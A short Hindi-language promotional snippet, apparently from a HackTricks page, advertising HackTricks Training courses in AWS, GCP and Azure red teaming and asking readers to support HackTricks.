AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें